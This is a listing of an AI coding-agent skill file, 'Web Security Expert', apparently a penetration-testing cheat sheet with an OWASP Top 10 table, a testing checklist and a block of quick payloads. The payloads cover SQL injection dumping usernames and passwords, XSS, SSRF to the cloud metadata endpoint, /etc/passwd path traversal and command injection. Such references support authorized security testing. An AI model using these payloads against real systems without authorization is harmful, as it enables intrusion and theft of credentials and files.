skills/duck4nh/antigravity-kit/web-security-expert

web-security-expert

SKILL.md

Web Security Expert

OWASP Top 10 Quick Reference

Vuln Test Payload Example
SQLi ', ", 1 OR 1=1 ' UNION SELECT null,username,password FROM users--
XSS <script>, event handlers <img src=x onerror=alert(1)>
SSRF Internal URLs http://127.0.0.1, http://169.254.169.254
IDOR Change IDs /api/user/123/api/user/124
LFI Path traversal ../../../etc/passwd
RCE Command chars ; id, `

Testing Checklist

Authentication

  • Brute force protection
  • Password reset flaws
  • Session fixation
  • JWT vulnerabilities

Authorization

  • IDOR on all endpoints
  • Privilege escalation
  • Missing function level access

Input Validation

  • SQLi all parameters
  • XSS reflected/stored
  • Command injection
  • File upload bypass

Quick Payloads

# SQLi
' OR '1'='1
' UNION SELECT null,null,null--
'; WAITFOR DELAY '0:0:5'--

# XSS
<script>alert(document.domain)</script>
<img src=x onerror=alert(1)>
javascript:alert(1)

# SSRF
http://127.0.0.1:80
http://[::]:80
http://169.254.169.254/latest/meta-data/

# LFI
....//....//....//etc/passwd
..%252f..%252f..%252fetc/passwd

Tools

Purpose Tool
Proxy Burp Suite, OWASP ZAP
SQLi sqlmap
XSS XSStrike, dalfox
Fuzzing ffuf, wfuzz
Weekly Installs
8
GitHub Stars
16
First Seen
Jan 27, 2026
Installed on
cursor7
opencode6
gemini-cli6
github-copilot6
codex5
amp5